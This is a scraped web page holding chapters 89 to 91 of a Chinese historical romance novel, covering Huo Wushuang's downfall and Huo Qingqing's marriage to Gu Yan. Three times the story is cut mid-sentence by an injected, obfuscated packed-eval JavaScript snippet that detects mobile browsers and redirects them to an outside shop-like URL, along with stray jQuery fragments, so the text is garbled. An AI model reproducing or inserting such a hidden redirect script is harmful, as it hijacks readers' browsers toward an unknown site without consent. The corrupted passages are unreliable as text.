“你说你们长得一样,确是不假。但也仅仅只是长得一样。她十三岁时,为救灾民,亲自前往阜州,同赵枢一起治水患。阜州百姓感她恩德,每年五月初八,为她祈福。” “她十四岁时,入锋锐骑军营,从小兵做起,征战西北三年,才受封淮月将军。” “你说边关苦寒,你才呆多久?”顾衍抱紧霍青青,声音慢慢平缓:“你勾结宋世荣和贺乾,又造假军报致使边关被破雁将离重伤,还想嫁祸于青青。” 他说着,锋利的绣春刀划破她的衣襟,立时见了血:“大煜百姓何辜?青 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13759313|133106||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 青何辜?你为了一己之私,将整个大煜都陷于险境,你有什么资格说你跟她一样?” 顾衍深吸一口气,抬手捂住霍青青的眼睛,吻落在她的额头,声音柔和:“乖,不想看就不看,没事的……没事的……” 许久,霍青青拉下他的手,长叹一口气,蹲下身子一粒粒捡起药丸,跟地上的人对视着。 “你有名字,你叫霍无双,你忘了吗?天下无双的无双。” “娘将你捡回来时,已经给你取了名字,你不是我的替身更不是没有自己的人生。” 她声音很轻,有些无力,却温柔又坚定:“那时,你很喜欢这个名字。试药,也是你自己选的,我娘没有逼迫你,她虽想替我拔除余毒,但从未伤害过任何人。” “无双,若没有你,我早就死了。” “那时我们在一起玩儿得很好,你对武道天赋异禀,你说你想当大煜第一个女将军,为国效力驰骋沙场。直到六岁那年,娘去了,巫族将你当成我抓去,你不慎被划花了脸。那之后,你便消沉下去。” 霍无双不住地颤抖,是啊,她是什么时候忘记的呢? “我跟将离,是生死至交。与锋锐骑同生共死的,是我。你那时,又在何处?你可记得,我与将离杀敌被困山中,你说去叫人来救我们,明明驻军就在山外,只需一人带路三日就能赶到。你呢?花费了整半月。我跟他差一点就死在山里。” 霍青青苦笑一声:“将离的手,就是那时候伤的。你可知道,那时候,他有多痛?” “他是为了救我。”霍青青死死攥住顾衍的手,指节发白:“是为了救我!” “你哪怕早一步,他都不会伤成那样。我也不会……要他那般相护。” 霍青青的眼角落下泪来,她颤抖着:我那时,只当你忘了路,所以多出了几日。你还要我继续说吗?” “无双,你想要什么?我明明……将所有的都赔给你了。你为什么……” “为什么……要害那么多人,要这大煜百姓都替我还债吗?” “无双,你到底想要什么?是想要我这条命吗?” 这么多的事都是因她而起,她还不完的,永远都还不完。 “我不知道……”霍无双拼命摇着头:“我不知道。我只知道,我若是能接替雁将离的位置,我就可以堂堂正正地站在天光下。” “不用听着他们说,淮月将军,你怎的不用破甲锥了。不用听着边关的孩子唱青草歌。也不用听着他们说淮月将军,当年跟着雁将军千里奔袭是个什么情形。” “好多……还有好多,可是……我不是你,不是那个跟雁将离千里奔袭打退南羌的淮月将军。也不是他们口中交口称赞的霍姑娘。不是他们喜欢的霍姑娘。” 霍青青朝她靠近,伸手去摸她脸上的疤:“无双,谁都不用做别人口中的那个人啊。这条路,明明是你选出来的……” “我那日里问你,你要不要留在边关。” “你说,要。” “我想弥补你,却不知道如何弥补。我知晓,那时试药,你痛。是我欠了你许多。” “你说,你想做将军,我便让出军功。是你向我要的这个淮月将军啊……” 霍青青迷茫起来,她跪下来抱住霍无双,声音嘶哑:“无双、无双。你从来都不是我,你只是你自己啊。” “无双,你知道吗?我找毒医前辈要了能除疤的药,你为什么就不肯等等我?” “无双,我找到药了啊……” 霍青青觉得累了,站起身转身搂住了顾衍,埋在他肩上,声音闷闷的:“顾衍,我想回家。” 顾衍听得心揪,一手搂住她的肩将她打横抱起:“好,回家。” 诏狱大门合上,带走了最后一丝亮光。霍双捧着那白色的药丸,终于哭出来。 她原来……一直以来都错了…… 霍青青从未把她当成替身,她一直都是她自己,但她会错了意,想给自己安上霍青青的人生。 她此生,明明都是霍无双。 忽有人在昏黄的火光里投下阴影。 霍无双抬起头看去,来人着了一袭飞鱼服,腰间悬挂着一柄绣春刀。 “无双将军,顾三多谢当年救命之恩。” 顾三蹲下身子,将地上那些白色的药丸一颗一颗捡起来擦干净,取了一块干净的帕子把它们包好放到她面前。 “那时候救我的人,是你。” 他这才记起,当年那面具之下,隐有伤疤。 霍无双伏在地上,看着那帕子,将它握在手里,颓然倒在地上。 白色的药丸又滚落出来,洒了一地。 她看着顾三站在牢门外,她看着洒落一地的药丸,已无力再捡起。 89.她与歌 京都主街上新开了一家胭脂铺,听闻老板是一个紫衣女子。 这铺子刚开没多久,就风靡京都,颜色好,听闻还有些是关外来的货。 只是没多久铺子就换了人,换成了一个年岁小的姑娘,小姑娘一张算盘打得噼啪响,还偶尔坐店里抱着琵琶弹上一曲不知谁编的新奇小调。 曾有人问这个小调何来,她答是青州。 时日一长,总有人喜欢去胭脂铺里坐坐,后来胭脂铺变成了两层的歌楼。一层卖胭脂,二层就听曲听说书,再点上一壶好茶几道糕点,便能消磨许多时光。 这方铺子里卖胭脂,那方铺子就卖酒,酒是好酒,每逢开门,清冽酒香就溢出来,随风飘满街道。 这家酒也不好买,总是排着长队,当日里也只得那么几坛,去晚了就没了。 等到霍大将军带着青骑凯旋,京都就更热闹了。 京都摆上流水宴,那新开的歌楼酒铺也说酒水折价卖三日。 人人都说霍清风霍大将军这一仗打得漂亮,下了北蛮数座城池,大煜北扩千里。 他们大煜霍家,有当今天子师曾经的大煜老将霍书霍太傅,有翻了无数冤案断要案的霍承阳霍大人。 小一辈有当年治阜州水患,后来剿灭长生教,纵横白沙关杀退南羌铁骑的淮月将军霍青青。 如今卸甲在京中的雁大将军雁将离也是他们家教出来的。 也有人一直记得,淮月非淮月,淮月是淮月。 再说当今圣上。 明顺帝自上位以来,力平战乱推新政,任忠臣斩叛臣。在是非功过里,他也无畏口诛笔伐,愿写下悔过书,求得老将徐从风原谅。 徐老将军念他赤诚亦念那点旧情,交兵权还尚方宝剑。从此老将卸甲重新退回封地,再不问朝堂,只说若有战,他若未死,必会再拿枪,同小辈们守国门。 等今岁夏一过,便又该是秋日。 今岁收成好,国库日渐充盈,明顺帝大手一挥大赦天下。 街上不知何时挂了喜庆的红灯笼,接着便听到敲锣声,百姓纷纷让出一条道来,听着马蹄由远及近。 有人一袭月白衣,银冠束发高坐马背上,驾马直奔霍府而去,许多人便也追去霍府看个稀奇。 只见他于霍府门前勒马,因……门前四人加两只鸟把他堵在门外。 就那一瞬间的功夫,有人抛来一把黑金绣春刀,他一把接住就跟门口的人缠斗在一起。 “宋无忧,看着些疾风骤雨。”顾衍大喝一声,很快淹没在一片兵戈声中。 宋无忧捂住头原地蹲下,刚躲过扑下来的疾风,就被骤雨扇了一下。 好在伍行及时出手拽着他的领子将他拉过来,随后手中一双细短剑就碰上疾风骤雨的利爪。 眼见着顾衍将辰砂打退,正想跃上墙头便遇霍十一刀出如龙一刀将他拦下:“别想。老爷说了,打进去。” “要么打进去,要么打道回府。” 顾衍头疼。 他早知今日想进霍府没这么简单,可也没人说他要车轮战这么几个疯子。 还未等他缓过劲,就见一杆玄枪架住他的刀。 他抬头望去,雁将离黑衣卓然,手中玄枪横握:“青青说,不放。” 话落,霍十一痛快了,长刀助雁将离玄枪,将顾衍逼退数步。 顾衍跟雁将离打起来,两人衣袂翻飞,从霍府门口打到侧门墙根下。 雁将离玄枪一挑,顾衍借力翻上院墙。 顾衍立在墙头看向雁将离。 雁将离懒得看他,玄枪一转挡下霍清风自背后刺来的宽剑。 “还不快滚,青青在等你。” 待顾衍一走,雁将离和霍清风便停下来。 霍清风提着映青,见上面银亮如新才放下心。 “雁将离,你还是太纵容青青了。”霍清风同他站在院墙下,取了帕子细细擦着自己那柄剑。 雁将离抱着玄枪轻嗤一声:“你不也是?你若是想拦,他能走?” 两人对视一眼,又纷纷转过头去。 雁将离握着枪,身影似要融进那片黑暗里,霍清风的宽剑忽地将他拦住:“你往何处?” “我在白沙关呆得太久,又至多回京都,早就不知大煜如今是何模样。”雁将离看着那方天光,纵已是秋日,仍有耀阳灼目,落在心间。 “我去看看青青曾走过的地方。” 青青走过的地方,热闹的京都、白沙漫卷的边关他都一一看过。 余下的,他会慢慢走慢慢看,消磨此生时光,也好给青青寻些喜欢的小玩意儿。 或许做个无名游侠,或许称一句雁将离。 “圣上既认下你,你又为何不承安平王之位?” “安平王之位?”雁将离低喃一声,枪尖点在地面发出轻响:“我若是想要,又如何会避他这般久?我说了许多次,我不要,我也不想。” “霍清风,你说……青青为什么会挑顾衍?” “我哪知道为什么。”霍清风笑叹,将映青安放好。 “许是她说的,想让你为自己活一次罢。” 雁将离没再停留,走向那方铺满天光的大道,黑衣玄枪,在秋日之中再没那般萧瑟。 为自己活一次…… 霍清风低声重复着,他抬起头微眯着眼眸望向刺目的日阳。 其实他都知道。 …… 顾衍甫一翻进来,就被一人拉住手臂一路拖进屋中捂住嘴抵上墙壁。 他被她困在屋中的角落里。 有细碎的天光自窗外落进来,他看着面前将至双十年华的霍姑娘。他的手游移着搂在她腰间,另一手握住她的手腕吻在她手心。 “他们不让我进,还说是霍姑娘不放。”顾衍将额头抵在她肩头:“是吗?霍姑娘?” 霍青青摸上他的脊背,笑道:“若是不这般说,怎的把顾大人放进来?” 她将他推开些,又勾住他的衣襟,拉得他低下头来。 唇齿碰撞在一处时,她顺着顾衍被她拉得微敞的衣襟往下探去。 她微凉的手很快被捂热,顾衍低下头,鼻息落在她颈间:“今日不是提亲?” “这还是白日。” 顾大人此刻有些窝囊,窝囊得在她手下不敢动弹。 “也是,今日顾大人来提亲,我府中鸡飞狗跳的,连锦屏都去前院了。”霍青青推开窗,随后勾着顾衍的脖颈一拉,在窗边吻在他唇上。 顾衍忙拉过霍青青转了个圈,将她抱住。 他低头无奈道:“霍姑娘,你明知我面皮薄。” “是挺薄的。”霍青青摸上他耳垂,摩挲几下,看着耳垂变得更红。 “寻春前日来说,铺子里生意好,顺便送了许多东西来。还有兰浔说,如今天下太平,她想去各处走走,瞧瞧哪里还能盘店做生意。” “我都一一允了。” 霍青青漫不经心地挑开被她拉得散乱的衣襟,看着他胸膛上淡了许多的伤痕甚是满意。 虽还未消,但比初时好太多了。 “皇伯伯另起了新规,女子可同考。顾大人,你猜猜前些日子青州学宫考核之中,有谁考上了。” 顾衍看着她的手在自己身上撩拨,不由觉得恍惚起来,他星 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13770342|133106||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 目微垂,轻轻问道:“是谁?” 霍青青一笑:“是青州学宫时,与我同住的杨荇。” “待面圣之后,若过殿前御试便可先入外朝。她同元辰一样,要从底下做起。能不能入得内朝,还得看她日后自己如何走。” 如今新政起,朝堂换血,大煜的命脉握在他们这些所谓小辈手中。阿浔是,元辰是,林豫是,杨荇也是。 他们许是会辟出一片新天,教大煜换新颜。 青州学宫今岁的人已经招过了,又新进一批学子,人人都想往上爬,怀着那点希冀,给自己想要的一生。 霍青青看着外面院子里秋日黄叶,她想起许许多多人都被人记下一笔。 或碌碌无为,或轰轰烈烈。 又有很多人,活在别人口中是士人风骨,为了担得那一句便拼了命去做。或是随波逐流,当真变成了别人口中的自己。 可是那又如何?该做自己,还是该做别人口中的自己,都是自己选的路,那便只能用一生去抵。 她又想起霍无双,她的选择,是破茧。 忽有一只红蝶落在窗棂上,霍青青一怔,旋即笑了。 她看着那只红蝶扑扇着翅膀飞起来带着一只青蝶慢慢远去,直至再看不到。 她挥袖打落那一线天光,屋中瞬时暗下来。 顾衍低声同她言语,不多时便化作喑哑粗重的喘息声。 “青青。”他一声声唤着她的名姓。听着那点玉石碰撞声,慢慢将他理智击溃。 霍姑娘最爱玉石,听着清脆的碰撞声,她低声惊呼了一句:“当心些……” 她的声音很快就被撞碎在唇齿间。 等玉石落下来,跌在软榻上时,顾衍的指尖落在她背上。锦衾叠浪里,他粗糙的指腹抹过他方才落下了数个吻的地方。 “这一道,是新的。”他的手微微攥紧又松开,小心地抹过那道红痕。 “是……在祁南城留下的。”霍青青靠在他怀里,觉得疲倦,早知如此,她就不那般撩拨他了。 他初时不得要领,好在这般事学得快也免去她许多不适。 “这里?” “很久了,记不清了。” 霍青青说得轻巧,顾衍却觉得如钝刀落下。 他一点点摩挲过那些他未曾知道缘由的伤痕,那一点痛楚自他的指尖奔流开来,落进他心间。 “我是不是给你说过许多事?”霍青青唇角还是带着那分笑意,纵然倦怠,也在他耳边说着顾衍想听的那些往事。 顾衍此生,活得太简单,仔细数数这其间二十四年,数不到其他什么。唯有那些从前夜里纠缠着他不放的一桩桩一件件。 后来便是那身青裙摇曳着,如青蝶落下,在他心间停留。 她说他就听着,听她说白沙关的大人总喜欢教小孩子青草歌。 最后她笑话道:“我曾以为,我活不了几年了。便想着不能再牵扯了别人。” “未曾想,遇到了顾大人。” 她的指尖落在顾衍心口,感受着他平稳有力的心跳。他躯体里奔流的血液,自她的指尖传到四肢百骸,她周身都暖起来。 “往后还有好长的路要走,顾大人,要一起走吗?”她微微撑起身子,指尖搅动着顾衍落在榻上的发,凑近吻上他的唇。 顾衍沉默地拥住她,听着她腕间玉镯带出声响,伴着她的声音在耳中不断放大,蛊惑着他。 今日便放任一些罢,他扣住她的手,听着霍姑娘似是叫他一声阿衍,又胡乱唤他名姓。 玉镯碰撞间,他听见自己说好。 天高海阔,霍姑娘想去哪里都好。 90.谢此生 今岁的大煜有两件大事。 一件是霍家小姐二十岁生辰,另一件是霍家小姐成亲,对面是从前被骂忘恩负义顾狗贼的锦衣卫指挥使顾衍。 写作成亲,读作入赘。 顾衍说他孑然一身在诏狱看死人看多了,早该找个有活人的地方住着。 说完就被霍承阳从府中追到主街,再被从宫中回来的霍清风撞见,两人一碰就打,打了三条街。 顾衍一溜烟儿跑走让伍行和宋无忧两人断后。 伍行宋无忧便被霍承阳逮着打了一顿好的。 今岁初春,明顺帝就下旨,待霍青青生辰后完婚。 待到了夏日时节霍青青生辰这日,顾衍旷了早朝,明顺帝命人去镇抚司寻他,结果南北镇抚司都没找着人。 寻了许久,才在南镇抚司他办公的案几上看到一张字条,上书—— 媳妇儿生辰,勿扰。 得,旷了早朝还旷工了。 据说明顺帝看到字条脸都绿了。 想想也是,自朝堂安定下来,顾衍可谓是隔三差五往霍府跑,三天一请半日休沐,五天再请一日休沐。 他一说怕青青染了风寒,他要去照看。二说青青一人呆着闷,他陪着出去走走。再说青青今日如何,他又得去看看。 他没消停过,打也没少挨。 他一挑四打不动,便想着法子翻院墙,时日一长,霍清风就命人在青青院子的院墙下种了好几排枳。 顾衍一跃过墙头正欲往下跳,就觉得不对劲儿。 再仔细看看,霍清风抱臂倚在远处月洞门看着他似笑非笑。 “哥,你这是要杀了我啊。” “谁是你哥。”霍清风一把短刀朝着他面上飞去。 顾衍抽刀挡开,赔笑道:“哥,我错了成吗?这不是不让我走正门吗?今日青青生辰,我们先和解,如何?” “也是。”霍清风破天荒地点点头:“今日确是不宜见血。” 顾衍还未来得及接话就听他接着道:“霍十一辰砂,杀了,埋了。” “哥,我真错了行不?”也不知他们二人从何处出来的,顾衍就又同他们打上了。 这边打得火热,顾衍甩不开。 却见一杆破甲锥拦下他打向霍十一的刀,然后青衣翻飞里,有人勾住他的腰一带,脚下踏出数步,一晃便到了屋顶上。 “顾大人,你可是来晚了。”霍青青将破甲锥一抛,辰砂稳稳接住。 “这不是……又被哥抓到了吗?”顾衍瞧着她勾在自己腰间的手,觉得还是青青好。 他家青青,现在是他家的。 他站在屋顶上,居高临下看着霍清风:“哥,那我和青青先走一步了。” 霍清风吹了个口哨,疾风骤雨瞬时窜出来。 霍青青在顾衍肩头一按,压得他矮下身,躲过一只。顾衍欲起,又被她按下,躲过另一只。 霍清风看得好笑,如今的顾衍,怎的就这般没脸没皮了。 也不是,本来也没脸没皮。 顾衍还在耀武扬威,就被霍青青扯住袖口:“顾大人,你再这般我就把你扔下去。” 顾衍老实了。 “青青,走。”他握住霍青青的手,反扣住她的腰,带着她一路踏过屋顶跃出霍府。 霍青青伏在他怀里,听着耳畔呼啸而过的风声,她抬头便见分明的下颌。 她悄悄撑起身,猝不及防吻在他下巴上。 顾衍脚下一顿,踩空。 好在他反应快,一个旋身稳稳当当落在地上。 “霍姑娘,若是他们又追上来你怕是得半个月都瞧不见我。”顾衍无奈得很。 “那……顾大人就接着跑,快!” 顾衍环紧她的腰重新跃上屋顶接着往庄子跑。 等到了地方,他把她放下来,霍青青笑道:“顾大人知我。” 门“吱呀”一声被推开,昏暗的屋子里照进一线天光,天光落在灵牌上,惊起一阵光尘。 顾衍擦去桌案的灰尘,站在她身边。 霍青青燃了三炷香,插在香炉之中。 “今岁,便是我二十岁的生辰了。我总记得,幼时你还在霍府,最爱同我说等到我们都长大了一起往山水之间,去行侠仗义……” 霍青青看着灵牌,伸出手却又收回,她还想说什么最后只笑叹道:“罢了,是是非非,都过去了。” 无双无双…… 无双最后也留有一丝清明,她在牢中急寻霍承阳,才使得他们能那么轻易围杀宋世荣。 宋世荣……宋世荣和贺乾,贺乾承傀教秘术,而宋世荣将他们都当做了棋子。 贺乾师门,竟是傀教余孽。 恩恩怨怨,是是非非,许多事都不是只有那一条路可走。 霍青青自屋中出来时,顾衍正站在外间执玉笛欲吹。 不多时,笛音回荡在这方院中,这个时节里枫叶未红,青色的枫叶被风带得摇曳起来。 等笛声落下,顾衍转过身星目里落了三分敞亮天光带着笑意:“这个时辰,怕是该回去了。” 他牵起她的手,带着她穿过这方院子,从大门出去。 两人行过街道,走过小巷,从许多人身边走过,一直走,走到一条街尽了,走到人声歇了又起。 大街小巷里,有人说着在过些时候,京都会摆下上好的喜宴。 顾衍走在前面,又缓下脚步,到了人少的街道,他还是喜欢同她并肩。 人声嘈杂里,霍青青看着顾衍低下头来,低声问她:“霍姑娘,你想在哪里成亲?” “京都吧,我喜欢看雪。”霍青青桃花眼微弯,按住顾衍的手臂,在他唇上落下一个轻浅的吻。 如蝶一般停留片刻便离去。 顾衍耳垂绯红,却也厚着脸受下。 他几步追上走远的霍青青,扣住她的手:“霍姑娘,走慢些。” “好啊,走慢些。” 他们行在天地间,走过青州风雨,走过没有彼此的前半生。在熙熙攘攘的人群里,他们慢下步子,或是看过小摊上那许多稀奇古怪的小玩意儿。 半道上,霍姑娘拉住他的袖摆,拉着他在小摊上吃了点心,又买下许多她觉得好看的物件,一股脑都给他。 或是进了首饰铺子,挑挑拣拣又买下许多首饰,再去成衣铺子给他置办几套衣物。 顾衍看着霍姑娘在前面牵着他,带着他行过喧嚣人间,她一直没有放开他。 只紧紧拉住他的手,把他几番拉回来,最后拉进她的世界里,让他站在那广阔天地。 他们一直走,走过顾府,回了霍府。 …… 御书房内,明顺帝一翻折子,气笑了:“顾衍,你说……你要休沐多久?” 顾衍面不改色:“我要陪青青,就五年。” 明顺帝咬牙切齿:“几年?你怕不是想着把孩子养大了把你的指挥使之位扔给孩子吧?” 顾衍蹙眉:“没想过。青青说她捡了个乞儿,无父无母的瞧着可怜。等他长大,也可。” 明顺帝一时失了言语,看着顾衍不知说什么。 他还真干得出来。 “青青同我都没想过,皇上放宽心。”末了他又添上一句,“就算要抛给孩子,都得等那个乞儿长大再说。” “不批,最多一年。”明顺帝败下阵来,他同如今的顾衍说不清楚。 顾衍沉吟片刻:“一年太少,不如你我各退一步,两年半?” “你跟我讨价还价?” 顾衍正色,开始跟明顺帝掰扯:“青青身子弱,路上不能太颠簸,行得慢。这般算下来,我们从京都去青州,都需半月有余,慢些就大半月了。” “再行远些,之后还要算往返的日子。还有……” 明顺帝听得头疼,一拍桌子:“一年半!诏狱那边,公务总不能堆着。” “宋无忧和伍行都能做,那些大案要案还有霍大人能查,查了给宋无忧他们审。他们二人如今也是一把好手。”顾衍缓缓道来,看着明顺帝仍是不卑不亢。 “皇上,你看在我这些年都没休沐的份上,再多放我些时日,如何?” 明顺帝给气笑了,合着这些年不休沐,如今一休沐就要五年。 “皇上,我若是不好好陪着青青,要是过两年把我给休了,我怕是就要露宿街头了。” 最后,顾大人是被皇上打出来的。 他站外面给皇上行了一礼,高声道:“臣,多谢皇上——” “滚!”明顺帝又是一个折子飞出来。 …… 京都初雪时,街道上挂上许多红灯笼,有外来客居的旅人问起,百姓便笑说:“你们来得可真是时候,今岁京都不冷,还添了霍府挂上的大红灯笼。” “再晚些等霍小姐开宴,就能去主街流水席说个吉祥话讨一顿好吃好喝。” 他话音刚落,就有青骑的兵士隔开一条道。 为首一人暗红衣着轻甲,正是青骑大将军霍清风。 有他开路,后面就快了。 往后瞧去,这队人马可都是京中有头有脸的。 他身后便是当今二皇子赵亓,听闻还是自边关赶回来专程的。 还有那去岁时受封四品宣武将军的林阁老的孙子林豫。 再往后瞧瞧,还有入内朝的第一个女官,杨荇。早时听闻她还在青州学宫中射杀过长生教妖人。 身后还跟着许多人,听闻多是民间话本里有名号的江湖人。 这般多的人,都往顾府走,许多人都跟去瞧。 只见霍大将军在顾府门前勒马,锣声一起,喜庆得很。 还未等他开口,就有一匹白马和一匹大黑马自后面人群里缓缓走出来,霍青青换了一身红裙坐于马背上。 她声音微提:“霍家霍青青,前来迎亲。” 坐在院中正喝茶的宋无忧一口茶喷出来,刚狼狈地擦干净,就瞧见伍行淡然走去开门。 门一开,就见一个红影掠过,霍青青破甲锥一拦伸手就将他带上马背。 顾衍坐在她身后,听着马蹄踏过街道,不由在她耳畔道:“入赘是这样的?” “顾大人不愿意?”霍青青将破甲锥一抛,一个黑影立时接住,朝她微微点头。 “愿意。”顾衍没有半点犹豫。 “那顾大人,以后想去何处?” 顾衍搂住她的腰,笑道:“哪里都去。霍姑娘去哪儿我去哪儿。” 到了霍府,明顺帝和霍书同坐主位为证婚人,福公公随侍在侧。疾风骤雨爪子上绑了红绸,一左一右站着,都歪着脑袋打量他们。 待拜过 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13777906|133106||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 高堂,霍青青远远看见有人玄衣玄枪站在外面,她朝他笑笑,将手中玉杯端起,朝他微倾。 一个物件被他掷过来,霍青青下意识接住。这物件入手温润,在她手中分做两半,是一对玉坠啊…… 她握住绳结,玉坠垂着轻碰出声响。 霍青青再看时,他的身影已消失不见。 雁将离走过了许多地方,去看过她曾在的江湖,十三楼一路陪着他,他每到一处便会挑上几块漂亮的玉石买下来,差人送给她。 霍青青看着手中的玉坠,他终是没有走出他心中那片天地,在他的天地里打着转。 好在……他已放下。 “他送的。”顾衍目光落在玉坠上,语气淡然。 “是啊,他送的。”霍青青将那玉坠收好,朝着顾衍勾勾手指。 “顾大人,你过来些。” 顾衍依言靠过来低下头。 众目睽睽之下,霍青青勾住他的衣襟吻上他的唇。 还未等众人缓过神来,就见一身红衣的顾大人把霍姑娘抱起来,逃也似的窜进了屋中。 霍清风第一个缓过劲儿来,道了句:“愣着干嘛,鼓乐起,吃喝去。” “啊?哦对对对,大家吃喝去。还有那什么,玉楼春的人,上台子上台子。”伍行忙拖了寻春上台弹琵琶,另带了戏班子的开锣唱戏。 林豫扯扯她袖子:“青青妹妹一直都这般大胆?” 兰浔哼哼一声,喝了一口酒:“那是你没见着她从前。” “霍楼主当初见我说我好看,说着说着就跟我打,打完了她破甲锥差点把我扎个对穿。”莫天俞端着酒过来,有些感慨。 “你们是没见着那时候的她,看着乖乖巧巧一个弱女子,出手就是破甲锥,吓人得很。” “我当年,就吃亏在她一张脸和一张嘴上。” “那可不吗?”柳三爷晃晃荡荡,不知何时晃过来,“当年的霍楼主,可是把我们这些都吓了个好的。” “莫说了莫说了,方才扔东西的是雁将离?” “是啊,雁将离。”兰浔绕着垂落的发,眼眸微眯,“他这些日子,追着青青当年走过的地方一直走,怕是不多时就会走上青青的老路……找你们单挑。” 柳三爷莫天俞纷纷静默下去。 学什么不好要学霍楼主单挑。 “怕了?怕了到时就跑啊。”兰浔哈哈一笑,随手抓过身边的一人就走,“走走走,喝酒喝酒。” 霍七一时不察被她抓住,苦哈哈道:“兰浔姐姐,饶了我饶了我,跟那些个说自己千杯不醉的喝去。” “来来来,今天谁都逃不了。” 外间又闹腾起来。 顾衍把人抱了一路,抵开房门将她安放榻上才松了一口气。 他正欲起身,就被霍青青勾住腰带:“顾大人还想去哪儿?” 顾衍艰难地撑起身,唇角勾起一抹笑:“我、我去关门。” 霍青青眉一挑,手按下他的腰:“锦屏在外面。” 她话落,就听到极轻的关门声。 “我是不是……该去陪着他们喝酒,等晚上再来找霍姑娘?”顾衍的唇擦过她的耳畔,将脸埋在她颈窝。 霍青青抚上他的发:“要去不也该是我去?那就……让顾大人先独守空房?” 最后,二人妥协。 再出现在众人面前的时候,顾衍面上泛起些红,气息还不稳。 顾衍隔着布料触上肩头被霍姑娘吮出红痕的地方,一杯酒端着也就端着了。 直到宋无忧过来碰碰他:“老大,怎的了?” “我……”顾衍欲言又止,只看着他家霍姑娘在同别人喝酒。 “我去看着点青青,她容易醉。” 说罢,他就朝着霍青青走过去,不多时就站在她身侧,同她一起跟别人饮酒。 宋无忧总觉着自家老大步子虚浮,许久,才摇摇头叹了口气。 他家顾大人遇到霍姑娘,总是没法子的。 …… 火光摇曳里,映着红烛喜字。连带着顾衍那张脸,都添上几分朦胧颜色。 霍青青桃花眼微眯,伸手从他的额角滑至下巴,她笑道:“顾大人真好看啊。” 顾衍搂在她腰间,细细端详着今日的霍姑娘。 早时他就看见,今日的霍姑娘上了薄妆,云鬓金钗红衣长裙,这是他第一次瞧见这么艳丽的霍姑娘。 他低下头落下细密的吻,提亲那日后,他便总想着她。想她那日里青衣微敞,腰间的玉佩环掩在衣物里叮当作响。也想着她腕间的玉镯,随着她唇齿间的低吟被他撞得不成调。 “青青……”他有些恍惚了,他家青青养了许久,他才敢有那时放肆。 许多次他都怕他一时崩了弦伤到她,她每每都趴在他耳边笑说顾大人别怕。 烛影摇红,黑发纠缠。 他没有打灭灯火,就借着灯火微光,看着他身下眼尾撩起七分风情的霍姑娘。她最喜欢在将至顶峰时抱住他的肩背,在他肩背上留下道道的抓痕。 “呼……”顾衍低低喘息一声,他紧紧将她拥住,待清泉流泻,他也激起惊涛骇浪。 玉镯子轻碰着,奏出不成调的歌。 京都逢初雪,红烛映良人。 关外青青草,他自谢此生。 91.番外·我是顾衍,她是我的雇主 要说青州玉楼春,最是热闹。 听闻前些日子里,玉楼春在别的城开出的分号越发红火,后边又去别处开了一家。 青州这家玉楼春,这楼中新招了一个说书先生,他别的不说,单说朝堂事。 前日里说倒台的宋世荣,这日里就说霍家后生。 二楼靠窗的位置,几人坐着,有个小姑娘听得津津有味。 忽有人拍了拍她的肩:“何桃,又在这儿借着给楼主端茶水偷懒?” 何桃将瓜子一放,一个转身就霍青青身后:“楼主,你看她!” 她还没来得及告状,就被霍十一隔开。她只能扒拉着横在自己面前的刀看着气定神闲的霍楼主。 霍青青刚打了个哈欠,便有人替她倒上一盏茶递到她面前。 “是不是困了?”有人问她,伸手将切好的糕点端到她面前。 顾衍今日里着了一袭青衣,腰间坠着一枚青玉坠。他瞧着她这模样,不由想起昨夜里霍姑娘喝多了酒拽着他不让走,一折腾就是一整夜过去。 他没有趁人之危,但霍姑娘趁他之危。 明知他定力大不如从前,还撩拨他。 霍青青见他递来的糕点,一手撑着头,眼眸微弯:“没困,只是听下面在讲朝堂事,觉得有些稀奇。” “他是何来历?” 何桃此时过来倒茶,便顺口回道:“新招的说书先生,说是京都来的,整日里说书说这些个朝堂事。” “倒是也不怕掉脑袋。” “京都来的啊……”霍青青指尖点在桌面,印象里并没有这般人。 “我看着倒是眼熟。”顾衍在桌下握住她的手,在她耳边道,“去岁元辰不是收了个学生?那学生性子顽劣,在他门下没多久就说不学了。偏生元辰还拿他无法,也不知怎的就跑到青州来了。” “他啊……”霍青青这才想起来,确是有这么个人。 顾衍捡了一块碎银,随手掷下去,那说书先生动作快得很,一把就将银子接住,然后拱手朝他一礼。 元辰如今在京中也官至四品,从底下爬上来,坐到如今的位置。也算得给寒门学子辟出一片天地,可惜了,这第一个门生就不喜欢在朝堂。 底下那人也精明,马上换了一折书,开始说当年白沙关被破,祁南城一战,霍家千金自请赴战。 他醒木一拍,得了满堂彩。 又说从前白沙漫卷,有一人玄甲玄枪守边关。 再说那锋锐骑,个个都是悍不畏死好儿郎。 待他说至淮月将军守祁南,破甲锥横挑南羌铁骑。 